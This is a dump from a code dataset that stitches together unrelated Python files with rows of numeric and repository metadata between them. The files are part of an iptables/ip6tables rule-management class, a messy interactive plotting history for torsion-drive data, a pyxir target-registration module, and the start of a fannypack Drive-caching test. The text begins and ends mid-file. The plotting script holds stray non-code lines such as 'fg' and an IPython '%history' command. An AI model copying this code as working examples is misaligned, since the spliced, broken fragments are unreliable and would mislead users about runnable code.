to_del.append(chain.name)
for cname in to_del:
table.delete_child_by_name(cname)
def _to_iptables_string(self, marshall_func=None, sort_nat_func=None, sort_filter_func=None, sort_mangle_func=None):
self._cleanup_empty_chain()
if sort_filter_func:
self._sort_chain_in_filter_table(sort_filter_func)
if sort_mangle_func:
self._sort_chain_in_mangle_table(sort_mangle_func)
if sort_nat_func:
self._sort_chain_in_nat_table(sort_nat_func)
def make_reject_rule_last(r1, r2):
if self.is_target_in_rule(r1, 'REJECT'):
return 1
if self.is_target_in_rule(r2, 'REJECT'):
return -1
return 0
for c in self._filter_table.children:
c.children = sorted(c.children, make_reject_rule_last)
content = str(self)
if marshall_func:
content = marshall_func(content)
return content
def iptable_restore(self, marshall_func=None, sort_nat_func=None, sort_filter_func=None, sort_mangle_func=None):
content = self._to_iptables_string(marshall_func, sort_nat_func, sort_filter_func, sort_mangle_func)
f = linux.write_to_temp_file(content)
try:
shell.call("%s < %s" % (get_iptables_cmd("restore"), f))
except Exception as e:
res = shell.call('lsof /run/xtables.lock')
err ='''Failed to apply iptables rules:
shell error description:
%s
result of lsof /run/xtables.lock
%s
iptable rules:
%s
''' % (str(e), str(res), content)
raise IPTablesError(err)
finally:
os.remove(f)
@staticmethod
def from_iptables_save():
ipt = IPTables()
ipt.iptables_save()
return ipt
def _normalize_rule(self, rule):
return ' '.join(rule.strip().split())
def add_rule(self, rule, table_name=FILTER_TABLE_NAME, order=0):
if table_name not in [self.FILTER_TABLE_NAME, self.NAT_TABLE_NAME, self.MANGLE_TABLE_NAME]:
raise IPTablesError('unknown table name[%s]' % table_name)
self._create_table_if_not_exists(table_name)
chain_name = Word(printables + '-_+=%$#')
rule_p = Literal('-A') + chain_name + restOfLine
res = rule_p.parseString(rule)
self._add_rule(res[1], rule, order)
def remove_rule(self, rule_str):
rule_str = self._normalize_rule(rule_str)
self.delete_all_by_identity(rule_str)
def search_all_rule(self, rule_str):
rule_str = self._normalize_rule(rule_str)
return self.search_all_by_identity(rule_str)
def search_rule(self, rule_str):
rule_str = self._normalize_rule(rule_str)
return self.search_by_identity(rule_str)
def delete_chain(self, chain_name, table_name=FILTER_TABLE_NAME):
table = self.get_child_by_name(table_name)
if not table:
return
table.delete_child_by_name(chain_name)
class IP6Tables(Node):
NAT_TABLE_NAME = 'nat'
FILTER_TABLE_NAME = 'filter'
MANGLE_TABLE_NAME = 'mangle'
SECURITY_TABLE_NAME = 'security'
RAW_TABLE_NAME = 'raw'
def __init__(self):
super(IP6Tables, self).__init__()
self._parser = None
self._current_table = None
self._filter_table = None
self._nat_table = None
self._mangle_table = None
self._raw_table = None
self._security_table = None
def get_table(self, table_name=FILTER_TABLE_NAME):
return self.get_child_by_name(table_name)
def get_chain(self, chain_name, table_name=FILTER_TABLE_NAME):
tbl = self.get_child_by_name(table_name)
if not tbl:
return None
return tbl.get_child_by_name(chain_name)
def _create_table_if_not_exists(self, table_name):
table_name = table_name.strip()
table_identity = '*%s' % table_name
table = self.get_child_by_identity(table_identity)
if not table:
table = IPTableTable()
table.identity = table_identity
table.name = table_name
table.parent = self
self.add_child(table)
self._current_table = table
if table_name == self.NAT_TABLE_NAME:
self._nat_table = table
elif table_name == self.FILTER_TABLE_NAME:
self._filter_table = table
elif table_name == self.MANGLE_TABLE_NAME:
self._mangle_table = table
elif table_name == self.SECURITY_TABLE_NAME:
self._security_table = table
elif table_name == self.RAW_TABLE_NAME:
self._raw_table = table
else:
assert 0, 'unknown table name: %s' % table_name
def _parse_table_action(self, tokens):
table_name = tokens[1]
self._create_table_if_not_exists(table_name)
def _parse_commit_action(self, tokens):
self._current_table = None
def _create_chain_if_not_exists(self, chain_name, counter_str=None):
chain = self._current_table.get_child_by_name(chain_name)
if not chain:
chain = IPTableChain()
chain.parent = self._current_table
chain.name = chain_name
chain.identity = chain_name
if not counter_str:
counter_str = ':%s - [0:0]' % chain_name
chain.counter_str = counter_str
self._current_table.add_child(chain)
return chain
def _parse_counter_action(self, tokens):
chain_name = tokens[1]
prefix = ':%s' % chain_name
lst = [prefix]
lst.extend(tokens[2:])
counter_str = ' '.join(lst)
self._create_chain_if_not_exists(chain_name, counter_str)
def _add_rule(self, chain_name, rule_identity, order=0):
chain = self._create_chain_if_not_exists(chain_name)
rule = IPTableRule()
rule_identity = self._normalize_rule(rule_identity)
rule.name = rule_identity
rule.identity = rule_identity
rule.parent = chain
rule.order = order
chain.add_child(rule)
def _parse_rule_action(self, tokens):
chain_name = tokens[1]
self._add_rule(chain_name, ' '.join(tokens))
def _construct_pyparsing(self):
if self._parser:
return
table = Literal('*') + Word(alphas)
table.setParseAction(self._parse_table_action)
chain_name = Word(printables + '.-_+=%$#')
counter = Literal(':') + chain_name + restOfLine
counter.setParseAction(self._parse_counter_action)
comment = Literal('#') + restOfLine
rule = Literal('-A') + chain_name + restOfLine
rule.setParseAction(self._parse_rule_action)
commit = Literal('COMMIT')
commit.setParseAction(self._parse_commit_action)
self._parser = table | counter | comment | rule | commit
@staticmethod
def find_target_in_rule(rule):
# TODO: find pyparsing way
if isinstance(rule, IPTableRule):
rs = str(rule).split()
else:
rs = rule.split()
target = None
for r in rs:
if r == '-j':
target = rs[rs.index(r) + 1]
return target
@staticmethod
def find_ipset_in_rule(rule):
if isinstance(rule, IPTableRule):
rs = str(rule).split()
else:
rs = rule.split()
ipset = None
for r in rs:
if r == '--match-set':
ipset = rs[rs.index(r) + 1]
break
return ipset
@staticmethod
def is_target_in_rule(rule, target):
ret = IP6Tables.find_target_in_rule(rule)
return target == ret
@staticmethod
def find_target_chain_name_in_rule(rule):
target = IP6Tables.find_target_in_rule(rule)
# assume target in upper case are default targets
if target and target.isupper():
target = None
return target
def list_used_ipset_name(self):
sets_name = []
rules = self.list_reference_ipset_rules(None)
for r in rules:
set_name = self.find_ipset_in_rule(r)
if set_name not in sets_name:
sets_name.append(set_name)
return sets_name
def list_reference_ipset_rules(self, ipsets=None):
def walker(rule, data):
if not isinstance(rule, IPTableRule):
return False
if ipsets is not None and self.find_ipset_in_rule(rule) in ipsets:
return True
elif ipsets is None and self.find_ipset_in_rule(rule):
return True
return False
rules = self.walk_all(walker, None)
return rules
def _reset(self):
self.children = []
self._current_table = None
self._nat_table = None
self._filter_table = None
self._mangle_table = None
def _from_iptables_save(self, txt):
self._reset()
self._construct_pyparsing()
for l in txt.split('\n'):
l = l.strip('\n').strip('\r').strip('\t').strip()
if not l:
continue
self._parser.parseString(l)
def iptables_save(self):
out = shell.call('/sbin/ip6tables-save')
self._from_iptables_save(out)
def __str__(self):
lst = []
for table in self.children:
lst.append(str(table))
# iptables-save needs a new line as ending
lst.append('')
return '\n'.join(lst)
def _cleanup_empty_chain(self):
def _is_chain_not_targeted(chain, table):
need_deleted = True
for chain2 in table.children:
if chain2.children:
for rule1 in chain2.children:
if IP6Tables.is_target_in_rule(rule1, chain.name):
need_deleted = False
break
return need_deleted
def _clean_chain_having_no_rules():
chains_to_delete = []
for t in self.children:
for c in t.children:
if not c.children:
if _is_chain_not_targeted(c, t):
chains_to_delete.append(c)
empty_chain_names = []
for c in chains_to_delete:
if c.name in ['INPUT', 'FORWARD', 'OUTPUT', 'PREROUTING', 'POSTROUTING']:
continue
empty_chain_names.append(c.name)
c.delete()
return empty_chain_names
def _clean_rule_having_stale_target_chain():
alive_chain_names = []
for t in self.children:
for c in t.children:
alive_chain_names.append(c.name)
def walker(rule, data):
if not isinstance(rule, IPTableRule):
return False
chain_name = self.find_target_chain_name_in_rule(rule.identity)
if chain_name and (chain_name not in alive_chain_names):
return True
return False
return self.walk_all(walker, None)
empty_chain_names = _clean_chain_having_no_rules()
logger.debug('removed empty chains:%s' % empty_chain_names)
rules_to_delete = _clean_rule_having_stale_target_chain()
for r in rules_to_delete:
logger.debug('delete rule[%s] which has defunct target' % str(r))
r.delete()
def _sort_chains(self, sys_chain_names, chains, sort_func):
all_chains = []
user_chains = []
for chain in chains:
if chain.name in sys_chain_names:
all_chains.append(chain)
else:
user_chains.append(chain)
user_chains = sorted(user_chains, sort_func)
all_chains.extend(user_chains)
return all_chains
def _sort_chain_in_filter_table(self, sort_func):
if self._filter_table is None:
return
self._filter_table.children = self._sort_chains(['INPUT', 'FORWARD', 'OUTPUT'], self._filter_table.children,
sort_func)
def _sort_chain_in_nat_table(self, sort_func):
if self._nat_table is None:
return
self._nat_table.children = self._sort_chains(['PREROUTING', 'POSTROUTING', 'OUTPUT'], self._nat_table.children,
sort_func)
def _sort_chain_in_mangle_table(self, sort_func):
if self._mangle_table is None:
return
self._mangle_table.children = self._sort_chains(['PREROUTING', 'INPUT', 'FORWARD', 'OUTPUT', 'POSTROUTING'],
self._mangle_table.children, sort_func)
def cleanup_unused_chain(self, is_cleanup, table_name=FILTER_TABLE_NAME, data=None):
table = self.get_child_by_name(table_name)
if not table:
return
sys_chain_names = ['INPUT', 'FORWARD', 'OUTPUT', 'PREROUTING', 'POSTROUTING']
to_del = []
for chain in table.children:
if chain.name in sys_chain_names:
continue
if is_cleanup(chain, data):
to_del.append(chain.name)
for cname in to_del:
table.delete_child_by_name(cname)
def _to_iptables_string(self, marshall_func=None, sort_nat_func=None, sort_filter_func=None, sort_mangle_func=None):
self._cleanup_empty_chain()
if sort_filter_func:
self._sort_chain_in_filter_table(sort_filter_func)
if sort_mangle_func:
self._sort_chain_in_mangle_table(sort_mangle_func)
if sort_nat_func:
self._sort_chain_in_nat_table(sort_nat_func)
def make_reject_rule_last(r1, r2):
if self.is_target_in_rule(r1, 'REJECT'):
return 1
if self.is_target_in_rule(r2, 'REJECT'):
return -1
return 0
for c in self._filter_table.children:
c.children = sorted(c.children, make_reject_rule_last)
content = str(self)
if marshall_func:
content = marshall_func(content)
return content
def iptable_restore(self, marshall_func=None, sort_nat_func=None, sort_filter_func=None, sort_mangle_func=None):
content = self._to_iptables_string(marshall_func, sort_nat_func, sort_filter_func, sort_mangle_func)
f = linux.write_to_temp_file(content)
try:
shell.call('%s < %s' % (get_ip6tables_cmd("restore"), f))
except Exception as e:
res = shell.call('lsof /run/xtables.lock')
err = '''Failed to apply ip6tables rules:
shell error description:
%s
result of lsof /run/xtables.lock
%s
ip6table rules:
%s
''' % (str(e), str(res), content)
raise IPTablesError(err)
finally:
os.remove(f)
@staticmethod
def from_iptables_save():
ipt = IP6Tables()
ipt.iptables_save()
return ipt
def _normalize_rule(self, rule):
return ' '.join(rule.strip().split())
def add_rule(self, rule, table_name=FILTER_TABLE_NAME, order=0):
if table_name not in [self.FILTER_TABLE_NAME, self.NAT_TABLE_NAME, self.MANGLE_TABLE_NAME]:
raise IPTablesError('unknown table name[%s]' % table_name)
self._create_table_if_not_exists(table_name)
chain_name = Word(printables + '-_+=%$#')
rule_p = Literal('-A') + chain_name + restOfLine
res = rule_p.parseString(rule)
self._add_rule(res[1], rule, order)
def remove_rule(self, rule_str):
rule_str = self._normalize_rule(rule_str)
self.delete_all_by_identity(rule_str)
def search_all_rule(self, rule_str):
rule_str = self._normalize_rule(rule_str)
return self.search_all_by_identity(rule_str)
def search_rule(self, rule_str):
rule_str = self._normalize_rule(rule_str)
return self.search_by_identity(rule_str)
def delete_chain(self, chain_name, table_name=FILTER_TABLE_NAME):
table = self.get_child_by_name(table_name)
if not table:
return
table.delete_child_by_name(chain_name)
def from_iptables_save():
return IPTables.from_iptables_save()
def from_ip6tables_save():
return IP6Tables.from_iptables_save()
def insert_single_rule_to_filter_table(rule):
insert_rule = rule.replace('-A', '-I')
shell.call("/sbin/iptables-save | grep -- '{0}' > /dev/null || iptables {1}".format(rule, insert_rule))
if __name__ == '__main__':
ipt = IPTables.from_iptables_save()
rule1 = '-A INPUT -i virbr0 -p udp -m udp --dport 99 -j ACCEPT'
#rule2 = '-A xxxx -i virbr0 -p udp -m udp --dport 100 -j ACCEPT'
#ipt.remove_rule(rule1)
#ipt.add_rule(rule2)
#ipt.iptable_restore()
#ipt.delete_chain('INPUT')
ipt.add_rule(rule1)
ipt.add_rule(rule1)
ipt.add_rule(rule1)
ipt.iptable_restore()
ipt.iptables_save()
print ipt
| 32.174976
| 130
| 0.592685
| 4,180
| 34,202
| 4.527512
| 0.061244
| 0.043752
| 0.01786
| 0.010357
| 0.877834
| 0.84745
| 0.842483
| 0.829379
| 0.818705
| 0.812999
| 0
| 0.004721
| 0.318753
| 34,202
| 1,062
| 131
| 32.205273
| 0.807511
| 0.01266
| 0
| 0.827131
| 0
| 0.0012
| 0.045264
| 0
| 0
| 0
| 0
| 0.000942
| 0.002401
| 0
| null | null | 0
| 0.008403
| null | null | 0.006002
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
53b99c173389482215dec30623f5cdd31678c479
| 12,731
|
py
|
Python
|
offsb/dev/plot_td.py
|
MobleyLab/openff-spellbook
|
66a9f2add895034da7949701069b11cf0ab3f817
|
[
"MIT"
] | 3
|
2019-09-20T13:53:53.000Z
|
2021-01-25T20:42:12.000Z
|
offsb/dev/plot_td.py
|
MobleyLab/openff-spellbook
|
66a9f2add895034da7949701069b11cf0ab3f817
|
[
"MIT"
] | 2
|
2019-10-12T07:12:27.000Z
|
2020-05-22T10:22:17.000Z
|
offsb/dev/plot_td.py
|
MobleyLab/openff-spellbook
|
66a9f2add895034da7949701069b11cf0ab3f817
|
[
"MIT"
] | 3
|
2019-10-12T00:31:03.000Z
|
2020-01-30T21:36:10.000Z
|
import pickle
with open('test.oFF-1.1.0.p', 'rb') as fid:
oFF10 = pickle.load(fid)
import interfoot.tools.node as Node
import interfoot.tools.const as const
with open('QCA.p', 'rb') as fid:
QCA = pickle.load(fid)
for entry in QCA.node_iter_entry(QCA.root):
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, angle)
print( {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()})
print()
with open('bonds.p', 'rb') as fid:
bonds = pickle.load(fid)
for entry in QCA.node_iter_entry(QCA.root):
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, angle)
print( {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()})
print()
for entry in QCA.node_iter_entry(QCA.root):
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, node.ID, angle)
print( {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()})
print()
for entry in QCA.node_iter_entry(QCA.root):
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, node.ID, angle)
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
print( vals[(14,1)] )
print()
for entry in QCA.node_iter_entry(QCA.root):
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
print( angle[0], vals[(14,1)] )
print()
for entry in QCA.node_iter_entry(QCA.root):
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
print( angle[e.ID][0], vals[(14,1)] )
print()
for entry in QCA.node_iter_entry(QCA.root):
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
print( angle, vals[(14,1)] )
print()
fg
for entry in QCA.node_iter_entry(QCA.root):
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
print( list(angle.values()), vals[(14,1)] )
print()
for entry in QCA.node_iter_entry(QCA.root):
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
print( list(angle.values())[0][0], vals[(14,1)] )
print()
for entry in QCA.node_iter_entry(QCA.root):
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
print( list(angle.values())[0][0], vals[(14,1)][0] )
print()
dat = []
for entry in QCA.node_iter_entry(QCA.root):
dat.append( [] )
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
dat[-1].append([list(angle.values())[0][0], vals[(14,1)][0]])
print()
dat
dat[0]
dat[1]
dat[0]
dat[1]
dat = []
for entry in QCA.node_iter_entry(QCA.root):
dat.append( [] )
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = {}
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
dat[-1].append([list(angle.values())[0][0], vals[(14,1)][0]])
print()
dat = []
for entry in QCA.node_iter_entry(QCA.root):
dat.append( [] )
angle = {}
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle[e.ID] = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
dat[-1].append([list(angle.values())[0][0], vals[(14,1)][0]])
print()
dat
dat[0]
dat[1]
dat[0]
dat = []
for entry in QCA.node_iter_entry(QCA.root):
dat.append( [] )
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = -1
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
dat[-1].append([angle[0], vals[(14,1)][0]])
print()
dat
dat[0]
dat[1]
fg
dat = []
for i,entry in enumerate(QCA.node_iter_entry(QCA.root)):
dat.append( [] )
for node in Node.node_iter_depth_first( QCA.root, select="Molecule"):
#entry = None
angle = -1
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
dat[i].append([angle[0], vals[(14,1)][0]])
print()
dat[0]
dat[1]
dat[0]
dat
dat = []
for i,entry in enumerate(QCA.node_iter_entry(QCA.root)):
dat.append( [] )
for node in Node.node_iter_depth_first( entry, select="Molecule"):
#entry = None
angle = -1
for e in Node.node_iter_to_root( node):
if e.ID == entry.ID:
break
#if "meta" in e.payload:
#entry = e
#break
if e.name == "Constraint":
angle = eval(e.payload)
print( entry.payload.get( "meta").name, end=" ")
vals = {x[0]: x[1]*const.bohr2angstrom for x in bonds.node_index.get( node.index).payload.items()}
dat[i].append([angle[0], vals[(14,1)][0]])
print()
dat
dat[0]
dat[1]
import numpy as np
import matplotlib.pyplot as plt
dat = np.array(dat)
plt.scatter(dat[0].T)
dat
plt.scatter(*np.array(dat[0]).T)
plt.clf()
plt.scatter(*np.array(dat[0]).T, 'x')
plt.scatter(*(np.array(dat[0]).T), 'x')
plt.scatter(*(np.array(dat[0]).T), ms='x')
plt.scatter(*(np.array(dat[0]).T), marker='x')
plt.scatter(*(np.array(dat[1]).T), marker='x')
%history -f plot_td.py
#################################################################################
fig = plt.figure(figsize=(8,4*rows),dpi=120)
logger.debug("fig created id " + str(id(fig)))
ax_grid = [] #[[]]*rows
for r in range(rows):
logger.debug("Init row {} for axes\n".format(r))
ax = [plt.subplot2grid((rows,3),(r,0), colspan=2, fig=fig)]
ax.append(plt.subplot2grid((rows,3),(r,2), fig=fig, sharey=ax[0]))
logger.debug("ax left {} ax right {}\n".format(id(ax[0]), id(ax[1])))
ax_grid.append(ax)
logger.debug("axes look like\n{}\n".format(str(ax_grid)))
checks = [[["Bonds"], hasbonds], \
[["Angles", "ProperTorsions", "ImproperTorsions"], hasangles],\
[["Energy"], hasenergy]]
present = 0
plot_idx = {}
for ncheck_i, check_i in enumerate(checks):
if(check_i[1]):
for param in check_i[0]:
plot_idx[param] = present
present += 1
logger.debug("Will plot using {} axes\n".format(present))
logger.debug(str(plot_idx))
fig.subplots_adjust(wspace=.3, hspace=.2,right=.95)
| 37.66568
| 107
| 0.52706
| 1,771
| 12,731
| 3.700734
| 0.069452
| 0.05859
| 0.048825
| 0.068355
| 0.871224
| 0.864663
| 0.861459
| 0.856271
| 0.852762
| 0.852762
| 0
| 0.018861
| 0.312858
| 12,731
| 337
| 108
| 37.777448
| 0.730338
| 0.062289
| 0
| 0.801498
| 0
| 0
| 0.047235
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.018727
| null | null | 0.157303
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
53bc96fbc8536ae686a46cf3a165bd716fbed42e
| 125
|
py
|
Python
|
src/radixlib/api_types/__init__.py
|
0xOmarA/RadixLib
|
85d75a47d4c4df4c1a319b74857ae2c513933623
|
[
"MIT"
] | 32
|
2022-01-12T16:52:28.000Z
|
2022-03-24T18:05:47.000Z
|
src/radixlib/api_types/__init__.py
|
0xOmarA/RadixLib
|
85d75a47d4c4df4c1a319b74857ae2c513933623
|
[
"MIT"
] | 3
|
2022-01-12T17:01:55.000Z
|
2022-02-12T15:14:16.000Z
|
src/radixlib/api_types/__init__.py
|
0xOmarA/RadixLib
|
85d75a47d4c4df4c1a319b74857ae2c513933623
|
[
"MIT"
] | 1
|
2022-01-21T04:28:07.000Z
|
2022-01-21T04:28:07.000Z
|
# type: ignore
from radixlib.api_types.token_amount import TokenAmount
import radixlib.api_types.identifiers as identifiers
| 25
| 55
| 0.856
| 17
| 125
| 6.117647
| 0.705882
| 0.211538
| 0.307692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.096
| 125
| 5
| 56
| 25
| 0.920354
| 0.096
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
53ce7b5e3fc4f2e0999966f8d7cc42c1dd12dd59
| 1,650
|
py
|
Python
|
python/pyxir/contrib/target/DPUCZDX8G_external_quantizer.py
|
settle/pyxir
|
d2966ba596d2bde850bedf640cb9553173d55082
|
[
"Apache-2.0"
] | null | null | null |
python/pyxir/contrib/target/DPUCZDX8G_external_quantizer.py
|
settle/pyxir
|
d2966ba596d2bde850bedf640cb9553173d55082
|
[
"Apache-2.0"
] | null | null | null |
python/pyxir/contrib/target/DPUCZDX8G_external_quantizer.py
|
settle/pyxir
|
d2966ba596d2bde850bedf640cb9553173d55082
|
[
"Apache-2.0"
] | null | null | null |
import pyxir
from .components.DPUCZDX8G.common import xgraph_dpu_external_quantizer
from .components.DPUCZDX8G.common import xgraph_dpu_external_quantizer_optimizer
from .components.DPUCZDX8G.ultra96 import xgraph_dpu_ultra96_build_func
from .components.DPUCZDX8G.ultra96 import xgraph_dpu_ultra96_compiler
from .components.DPUCZDX8G.zcu102 import xgraph_dpu_zcu102_build_func
from .components.DPUCZDX8G.zcu102 import xgraph_dpu_zcu102_compiler
from .components.DPUCZDX8G.zcu104 import xgraph_dpu_zcu104_build_func
from .components.DPUCZDX8G.zcu104 import xgraph_dpu_zcu104_compiler
# Register target
pyxir.register_target('DPUCZDX8G-ultra96',
xgraph_dpu_external_quantizer_optimizer,
xgraph_dpu_external_quantizer,
xgraph_dpu_ultra96_compiler,
xgraph_dpu_ultra96_build_func)
# Register op support
from .components.DPUCZDX8G import ultra96_op_support
# Register target
pyxir.register_target('DPUCZDX8G-zcu102',
xgraph_dpu_external_quantizer_optimizer,
xgraph_dpu_external_quantizer,
xgraph_dpu_zcu102_compiler,
xgraph_dpu_zcu102_build_func)
# Register op support
from .components.DPUCZDX8G import zcu102_op_support
# Register target
pyxir.register_target('DPUCZDX8G-zcu104',
xgraph_dpu_external_quantizer_optimizer,
xgraph_dpu_external_quantizer,
xgraph_dpu_zcu104_compiler,
xgraph_dpu_zcu104_build_func)
# Register op support
from .components.DPUCZDX8G import zcu104_op_support
| 40.243902
| 80
| 0.746061
| 183
| 1,650
| 6.295082
| 0.114754
| 0.15625
| 0.219618
| 0.180556
| 0.891493
| 0.820313
| 0.783854
| 0.783854
| 0.431424
| 0.182292
| 0
| 0.060139
| 0.213939
| 1,650
| 41
| 81
| 40.243902
| 0.828065
| 0.064848
| 0
| 0.222222
| 0
| 0
| 0.03188
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.444444
| 0
| 0.444444
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 8
|
53e392a38c9ebdc43e55327e24470af216a7fb87
| 1,972
|
py
|
Python
|
tests/data/test_drive_files.py
|
brentyi/hfdsajk
|
2888aa5d969824ac1e1a528264674ece3f4703f9
|
[
"MIT"
] | 5
|
2020-03-13T21:34:31.000Z
|
2020-10-27T15:18:17.000Z
|
tests/data/test_drive_files.py
|
brentyi/hfdsajk
|
2888aa5d969824ac1e1a528264674ece3f4703f9
|
[
"MIT"
] | 2
|
2020-06-17T11:06:56.000Z
|
2020-10-25T03:06:18.000Z
|
tests/data/test_drive_files.py
|
brentyi/hfdsajk
|
2888aa5d969824ac1e1a528264674ece3f4703f9
|
[
"MIT"
] | 4
|
2020-03-15T01:55:18.000Z
|
2022-01-21T22:06:48.000Z
|
import os
import shutil
import time
import fannypack
def test_cached_drive_file():
# Move the cache to a temporary directory
fannypack.data.set_cache_path("tmp")
# Load file for the first time
start_time = time.time()
path0 = fannypack.data.cached_drive_file(
"secret_key.pem",
"https://drive.google.com/file/d/1AsY9Cs3xE0RSlr0FKlnSKHp6zIwFSvXe/view",
)
